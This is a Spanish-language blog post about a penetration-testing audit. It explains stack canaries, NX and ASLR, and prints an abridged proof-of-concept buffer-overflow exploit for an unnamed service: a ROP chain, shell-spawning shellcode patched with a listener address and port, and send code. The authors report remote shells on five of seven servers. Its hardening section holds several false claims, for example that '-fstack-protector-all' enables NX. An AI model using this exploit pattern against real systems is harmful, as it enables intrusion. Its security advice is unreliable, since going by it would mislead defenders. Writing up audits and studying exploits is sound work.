Buenas a tod@s,
Es curioso cómo se empieza algo y se acaba otra cosa. Pasa mucho en el mundo IT que cuando tienes un quehacer bien definidio y focalizado, aparecen de la nada nuevas cosas y vas saltando de un objetivo a otro conforme se va implementando o descubriendo.
Hace poco estuvimos haciendo una Auditoría de seguridad para un cliente focalizada en su centro de datos (ya sabéis, lo que un cliente de tamaño medio llama a centro de datos: típico sótano con un par de racks y unos pocos servidores... me sorprende todavía que nunca contemplen los riesgos por inundación...), y quitado de algún pequeño detalle, como la recomendación de DHCP Snooping, MAC binding para algunos dispositivos concretos, y alguna que otra cosa, nos topamos con algo más serio.
El cliente usaba cierta aplicación que requería de un software que corría en unos cuantos servidores. Por necesidades de funcionalidad y recogida de datos de la aplicación, esta requería de estar abierta a cualquier origen (sin ningún tipo de filtrado).
Dado que realmente era el único punto vulnerable desde el exterior que vimos en un principio (la red interna estaba asbolutamente desprotegida desde ella misma, pero bueno, eso es otra historia..), forkeamos() en el análisis del código fuente del servicio ya que es un servicio bastante conocido pero no se conocen bugs públicos al respecto, a ver si encontrabámos alguna cosa que nos llamara la atención (al cliente no le gustaba la idea de filtrar el acceso ya que las conexiones se originaban desde muchas direcciones distintas y dinámicas, y además, no teníamos claro que fuese a ser seguro de esta forma).
Mirando el código fuente encontramos varios posibles BOFs (Buffer OverFlow). Concretamente con uno, le dimos un poco de amor, un poco de técnica, y encontramos que era fácilmente explotable. Al menos tuvimos la suerte de que fue fácilmente explotable en el servidor que corría con Debian GNU/Linux 7.0. !Y qué suerte!
Decimos suerte porque si nos hubiesemos topado en primera instancia con uno de los servidores que corría Ubuntu Server, hubiesemos desistido en la pretensión de explotar el fallo y conseguir acceso al sistema, ya que no hubiese sido posible, no hubiesemos detectado que realmente era explotable, y hubiésemos concluido probablemente la Auditoria.
En contra de muchas opiniones, Ubuntu Server, resultó ser considerablemente seguro en éste ambito. Y mucha gente suele decir: "Ubuntu es muy pesado e inseguro, por la cantidad de servicios, paquetes y cosas que tiene instalado por defecto". La verdad que posiblemente sea así basándose en otros puntos de vista, pero en concreto, para alojar este servicio, era la mejor opción.
Ubuntu Server tiene varias tecnologías que hacen prácticamente imposible la explotación de este bug, como es el caso de Stack Canary.
El Stack Canary, en principio, evita que un Buffer OverFlow sea posible de llevar a cabo, porque introduce un valor numérico en la pila entre los registros EIP y EBP, de forma que cuando se sobreescribe por BOF, el proceso es killeado() por el propio kernel.
Otro "caramelo" que incorpora por defecto Ubuntu Server, es NX (None-executable) ó los conocidos Stack protectors. Lo que sucede con los Stack protectors es que el kernel, establece unos permisos de acceso a los mapas de memoria de las aplicaciones que corren en el sistema operativo... es decir, que si tuviésemos que explotar un sistema mediante un BOF, se haría mucho más complicado teniendo en cuenta que no podemos ejecutar código máquina alojado en la Heap, Stack, o cualquier librería.
Si a lo anterior, le sumamos la protección (intrínseca de Kernel) ASLR (Address Space Layout Randomization), tenemos un panorama tal que así, para un programa como cat:
andra@bofh ~ $ cat /proc/self/maps
00400000-0040b000 r-xp 00000000 08:03 198614 /bin/cat
0060b000-0060c000 r--p 0000b000 08:03 198614 /bin/cat
0060c000-0060d000 rw-p 0000c000 08:03 198614 /bin/cat
0060d000-0062e000 rw-p 00000000 00:00 0 [heap]
7fa6b6e97000-7fa6b7035000 r-xp 00000000 08:03 261244 /lib64/libc-2.15.so
7fa6b7035000-7fa6b7234000 ---p 0019e000 08:03 261244 /lib64/libc-2.15.so
7fa6b7234000-7fa6b7238000 r--p 0019d000 08:03 261244 /lib64/libc-2.15.so
7fa6b7238000-7fa6b723a000 rw-p 001a1000 08:03 261244 /lib64/libc-2.15.so
7fa6b723a000-7fa6b723e000 rw-p 00000000 00:00 0
7fa6b723e000-7fa6b7260000 r-xp 00000000 08:03 261324 /lib64/ld-2.15.so
...
donde se puede apreciar que el binario (mapa: 0x400000-0x40b000) está protegido con permisos, de forma que no puede ser sobrescrito, y así sucesivamente. Además, las direcciones de carga dinámicas están generadas aleatoriamente en el proceso de carga en memoria del binario, lo que hace aún más complicado si cabe, utilizar direcciones estáticas, o la obteción de gadgets.
Básicamente, los métodos actuales de explotación de BOFs se basan en encontrar punteros a las librerías, e ingeniárselas para conseguir llegar al código máquina deseado. También existe la opción de usar la dirección base del binario (puesta entre paréntesis anteriormente), y de ahí, se pueden lograr ciertos objetivos, con respecto al tema tratado. Como vemos, todo el resto, es aleatorio...
Lo mejor de NX no es que por defecto las páginas vengan ya protegidas por permisos según el uso que se le pueda llegar a dar, dentro de unos límites, si no que cada página creada, debe ser concretamente especificada por permisos de ejecución. Es decir, un malloc() menor al tamaño de la Heap retornará una direccion en la Heap, (o un calloc()), y otro mayor que el tamaño que la Heap (44MB por ejemplo), devolverá una dirección en una nueva área. Pero siempre, con los permisos por defecto.
Sin embargo, con mmap(), mmap2() (o incluso me atrevo a decir que old_mmap()), y los permisos establecidos a PROT_READ|PROT_EXEC|PROT_WRITE, devolvería una zona de memoria escribible, legíble, y ejecutable... la pregunta es sencilla: ¿Para qué iba a querer un servicio común, una zona de memoria con permisos de ejecución? Pues normalmente, para ejecutar una shellcode... o código inyectado. En esto, hay un debate amplio, y no vamos a entrar en él.
Pues, ¿qué pasaría si usásemos mprotect() en vez de mmap() o malloc(), en un binario con NX activado, para desproteger alguna zona de memoria del binario, y después escribiésemos y saltásemos, utilizando ROPgramming? Sencillamente, que podríamos ejecutar una shellcode. Y esto es lo que ocurre en sistemas "desprotegidos" por defecto como Debian 7.0.
Extrapolando ésto a otros sistemas livianos (como Gentoo) es funcionalmente relativo y dependerá de muchos factores. No obstante, en el caso de un binario optimizado o que ha recibido una programación responsable, sería muy complicado acceder a varias llamas del sistema (syscalls). Y tenemos en cuenta una cosa: que vsyscall tiene la estructura:
mov $valor_de_syscall, %rax
syscall
retq
Y no es ejecutable... (pero en Debian sí lo es por defecto). Lo que hace más difícil la ejecución de mprotect(), mmap(), etc. Solo nos quedaría una llamada a calloc@plt, etc, y una zona de memoria por defecto rw-p.
Si a esto le sumamos Stack Canary, la experiencia nos dice que el software, siempre que no sea extremadamente descuidado o poco eficiente (temas de forks ó pthreads), podría soportar mejor el ataque, ya que ni siquiera sería posible ejecutar un calloc@plt...
Volviendo a la pretensión de crear un código capaz de explotar el fallo, nuestro xploit del PoC (Proof Of Concept) quedó grosso modo así:
char sofwarename_xpload[] =
// 4104 bytes of bullshit + ROPgraming
"-\0" // master error code (avoiding tests).
"OxauzpPvPAzv1VW60kCaEy6HfF6KRFew2ttLNSHh8D2B1ezrZ"
"PoJypk9cYxLlV0FKQA4sPfZJRpdPV9LNyzxt6ydgQkF8XYkpjg"
"E6DY0uaxizvxGZo20kKInMEfG5SrWf0Aq6riIV9yp8QZ9t9XcS"
"mql5bSDXwERUZFnUyGEmbWtW4ntCcvNQdvtCW1haiPx7vyEeBl"
...
"\x79\xee\x40\x00\x00\x00\x00\x00" // pop rsi
"\xc8\x00\x00\x00\x00\x00\x00\x00" // rsi
"\x70\xd5\x40\x00\x00\x00\x00\x00" // pop rdi
"\x00\x00\x40\x00\x00\x00\x00\x00" // rdi
"\xf1\xd3\x40\x00\x00\x00\x00\x00" // pop rbx
"\x07\x00\x00\x00\x00\x00\x00\x00" // rbx
"\x59\xdc\x41\x00\x00\x00\x00\x00" // mov edx ebx; mov eax edx; pop ebx
"\x00\x00\x00\x00\x00\x00\x00\x00" // rbx - n
"\x42\x2c\x41\x00\x00\x00\x00\x00" // pop rax
...
"\x43\x69\x41\x00\x00\x00\x00\x00" // mov %rsp,%rsi; callq memcpy@plt; add $0x10, %rsp; pop %rbx
"12345678"
"12345678"
"12345678"
"\x20\x00\x40\x00\x00\x00\x00\x00" // 0x400020
/* sc */
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\xc0\xa8\x01\x83\x51\x48\x89\xe6\x6a\x10"
...
;
...
if (platform==1)
{
void *ptr;
ptr=memmem(pload,pload_len,"\xc0\xa8\x01\x83",4);
*((ulong*)ptr)=listen_addr.s_addr;
ptr=memmem(pload,pload_len,"\x11\x5c",2);
*((ushort*)ptr)=reverse_port;
}
printf ("fakeSoftwareName#sending payload in 4 secs...\n");
sleep (4);
ret=send(c, pload, pload_len, 0);
if (ret<0) perror ("fakeSoftwareName#send: "), exit(-1);
...
printf ("execution finished.\n");
return 0;
conseguimos ejecutar remotamente una bindshell en 5 de los 7 servidores, quedando "invictos" los 2 servidores Ubuntu Server. Debian 7.0 quedó en muy mala posición, y Gentoo quedó desmitifcado (otro gallo hubiese cantado en caso de ser hardened). Quién nos lo iba a decir, después de tantos años infravalorando Ubuntu...
No obstante, porque a pesar de todos esos dulces condimentos que conforman el "pastel", llegamos a conseguir Denegación de Servicio (DoS) en 7/7 servidores con distintas versiones del software en cuestión. Aunque claro, para ser justos, este DoS derivado del bug no es competencia de Ubuntu Server ni de las otras distribuciones sometidas a prueba, es con la máxima certeza, responsabilidad del servicio y de su programación.
Después de todo, no nos quedó más remedio que recomendar al cliente en el informe de Auditoría, que migrase los servidores cuya función era exclusivamente el procesamiento de dicho servicio, a Ubuntu Server. Aunque se le ofreció tambien la posibilidad de un análisis exhaustivo del servicio y mantenimiento continuado de las nuevas versiones con los respectivos parches de seguridad.
Sin duda, antes de poner algo a funcionar, hay que elegir cuidadosamente qué distribución y qué sistemas de protección usar en su kernel, es la clave del éxito..
Acabamos recomendando unas opciones de compilación que activiarán los ciertos sistemas de seguridad que suelen venir con el compilador GCC. En prácticamente todas las versiones que lo incorporen:
-fstack-protector-all (activará NX)
-pie -fPIC (activará PIE)
-z relro, -z now (esto desactivará el Partial RELRO)
Gracias por el tiempo que nos has dedicado al leernos :)
Abyan.